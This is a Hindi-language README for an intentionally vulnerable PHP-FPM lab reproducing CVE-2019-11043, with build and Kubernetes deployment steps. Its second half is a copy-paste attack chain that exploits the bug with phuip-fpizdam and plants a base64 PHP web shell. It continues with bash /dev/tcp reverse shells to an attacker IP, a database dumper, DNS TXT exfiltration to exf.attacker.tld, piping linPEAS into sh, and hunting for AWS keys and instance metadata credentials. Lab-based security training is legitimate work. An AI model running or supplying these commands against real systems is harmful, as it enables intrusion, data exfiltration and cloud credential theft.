टास्क मैनेजमेंट ऐप (CVE-2019-11043 लैब)

CVE-2019-11043 को रिप्रोड्यूस करने के लिए जानबूझकर कमजोर Nginx/PHP-FPM सेटअप वाला न्यूनतम PHP ऐप। इसमें एक छोटा टास्क मैनेजर, लॉगिन/एडमिन, और DB कॉन्फ़िग UI शामिल है।

बिल्ड और रन (Docker)

# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/

एक्सप्लॉइट क्विकस्टार्ट

status.php के खिलाफ phuip-fpizdam का उपयोग करें, इसे पैराम्स डिटेक्ट करने दें, फिर --skip-detect के साथ दोबारा चलाएँ।

~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"

डेटाबेस सपोर्ट

ऐप स्वचालित डिटेक्शन के साथ SQLite और MySQL दोनों को सपोर्ट करता है:

SQLite (डिफ़ॉल्ट)

• DSN: sqlite:/var/www/html/data/app.sqlite
• कोई प्रमाणीकरण आवश्यक नहीं
• स्वचालित सेटअप - पहली बार चलने पर डेटाबेस फ़ाइल बन जाती है
• डेवलपमेंट और टेस्टिंग के लिए एकदम सही

MySQL (वैकल्पिक)

• DSN: mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4
• यूज़रनेम/पासवर्ड प्रमाणीकरण आवश्यक है
• Kubernetes डिप्लॉयमेंट के लिए एनवायरनमेंट वेरिएबल ओवरराइड

एनवायरनमेंट वेरिएबल्स

जब ये एनवायरनमेंट वेरिएबल्स सेट होते हैं, तो वे स्वचालित रूप से DSN को ओवरराइड कर देते हैं:

• DB_HOST - डेटाबेस होस्टनाम
• DB_PORT - डेटाबेस पोर्ट (डिफ़ॉल्ट: 3306)
• DB_NAME - डेटाबेस का नाम
• DB_USER - डेटाबेस यूज़रनेम
• DB_PASS - डेटाबेस पासवर्ड

स्वचालित माइग्रेशन

• ऐप रिक्वेस्ट से ऑन-डिमांड माइग्रेशन चलाता है (जैसे, index.php, login.php, admin.php)।
• K8s प्रोब /health.php को हिट करते हैं, जो DB कनेक्टिविटी भी सत्यापित करता है।
• किसी बाहरी माइग्रेशन जॉब या लोकल PHP की आवश्यकता नहीं है।

Kubernetes (EKS) डिप्लॉयमेंट

मैनिफेस्ट k8s/ के अंतर्गत हैं:

• k8s/secret.yaml: MySQL क्रेडेंशियल्स (stringData प्लेसहोल्डर्स)
• k8s/mysql-deployment.yaml: MySQL डिप्लॉयमेंट + सर्विस
• k8s/app-deployment.yaml: ऐप डिप्लॉयमेंट (privileged) + सर्विस; सीक्रेट माउंट करता है और DB env वेरिएबल्स सेट करता है
• k8s/ingress.yaml: ऐप तक रूटिंग करने वाला Nginx इनग्रेस

इमेज प्लेसहोल्डर quay.io का उपयोग करता है – quay.io/your-org/cve-2019-11043-lab:app को अपने रेपो में बदलें।

एप्लाई क्रम:

kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml

इनग्रेस एक Nginx इनग्रेस कंट्रोलर और उसके एड्रेस की ओर इशारा करता हुआ taskapp.local DNS/होस्ट्स मानता है।

प्रोजेक्ट संरचना

• public/: वेब रूट (एंट्रीपॉइंट्स)
• app/: ऐप हेल्पर्स (कॉन्फ़िग, db, auth, version)
• php/: PHP-FPM ini ओवरराइड्स
• k8s/: Kubernetes मैनिफेस्ट
• data/: रनटाइम डेटा (SQLite db, config)

डिफ़ॉल्ट एडमिन

admin / admin का उपयोग करके /login.php पर लॉगिन करें (UI हिंट CSS द्वारा छिपाया गया है)।

डेटाबेस कॉन्फ़िगरेशन UI

एडमिन के रूप में /db_config.php एक्सेस करें:

• वर्तमान डेटाबेस स्थिति और प्रकार देखें
• SQLite और MySQL के बीच स्विच करें
• कनेक्शन पैरामीटर कॉन्फ़िगर करें
• दोनों डेटाबेस प्रकारों के लिए कनेक्शन उदाहरण देखें

अस्वीकरण

यह एक जानबूझकर कमजोर एनवायरनमेंट है। इसे अविश्वसनीय नेटवर्क पर एक्सपोज़ न करें।

मल्टी-प्लेटफ़ॉर्म इमेज बिल्ड (Buildx)

quay.io पर मल्टी-आर्क इमेज (linux/amd64, linux/arm64) बनाएं और पुश करें।

पूर्वापेक्षाएँ: Docker Buildx (Docker Desktop इसे शामिल करता है)। वैकल्पिक QEMU इम्यूलेशन: docker run --privileged --rm tonistiigi/binfmt --install all।

# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"

phuip-fpizdam के साथ एंड-टू-एंड (कॉपी/पेस्ट)

टारगेट सेट करें:

BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"

एक्सप्लॉइट (ऑटो-डिटेक्ट, फिर फाइनल रन):

~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"

एक छोटा वेब शेल डालें और exec सत्यापित करें:

# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"

रिवर्स शेल, MySQL डंप, DNS TXT एक्सफिल, linPEAS, और AWS कीज़ खोज के लिए नीचे दिए गए पोस्ट-एक्सप्लॉइटेशन लैब अभ्यास जारी रखें।

पोस्ट-एक्सप्लॉइटेशन लैब अभ्यास (केवल इस लैब के लिए)

ये चरण केवल इस लैब एनवायरनमेंट में शैक्षिक उपयोग के लिए हैं।

अपना बेस URL और अटैकर IP सेट करें:

BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444

1) कमांड एक्ज़ीक्यूशन प्राप्त करें और एक साधारण वेब शेल डालें

phuip-fpizdam के साथ CVE-2019-11043 का एक्सप्लॉइट करने के बाद, एक छोटा वेब शेल लिखने के लिए RCE प्रिमिटिव का उपयोग करें। यदि आपके पास पहले से कंटेनर के अंदर शेल है, तो चलाएँ:

# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null

यदि आपके पास केवल RCE है (शेल नहीं), तो RCE प्रिमिटिव (जैसे, एक्सप्लॉइट टूल के माध्यम से) के जरिए वही base64 राइट चलाएँ।

सत्यापित करें:

curl -s "$BASE/sh.php?c=whoami"

2) whoami

curl -s "$BASE/sh.php?c=whoami"

3) रिवर्स शेल प्रयास (bash /dev/tcp)

अपने अटैकर होस्ट पर:

nc -lvnp "$ATTACKER_PORT"

टारगेट से ट्रिगर करें (URL-एन्कोडेड कमांड):

ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

यदि bash उपलब्ध नहीं है, तो प्रयास करें:

ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

4) MySQL बैकअप (डंप)

विकल्प A (क्लस्टर ऑपरेटर पथ):

kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz

विकल्प B (PHP PDO का उपयोग करके वेब शेल के माध्यम से): एक त्वरित डंपर स्क्रिप्ट लिखें जो ऐप कॉन्फ़िग का उपयोग करती है:

# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json

5) DNS TXT के माध्यम से एक्सफिल्ट्रेट करें (टॉय उदाहरण)

अपने नियंत्रण वाले एक टेस्ट डोमेन (जैसे, exf.attacker.tld) को उस नेमसर्वर की ओर पॉइंट करें जिसे आप कैप्चर करते हैं (जैसे, dnschef या bind)। फिर टारगेट से, चंक्स ले जाने वाले DNS लुकअप ट्रिगर करें:

# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\''' 
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"

अपने नेमसर्वर पर क्वेरी देखें; लेबल्स से पुनर्निर्माण करें।

6) linPEAS खींचें और चलाएँ (priv-esc एन्यूमरेशन)

curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

7) AWS कीज़ खोजें

# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'

# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"

# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true

फिर से: इन्हें केवल इस लैब के भीतर ही करें। उन सिस्टमों के खिलाफ कभी परीक्षण न करें जिनके मालिक आप नहीं हैं या जिनके आकलन की आपके पास स्पष्ट अनुमति नहीं है।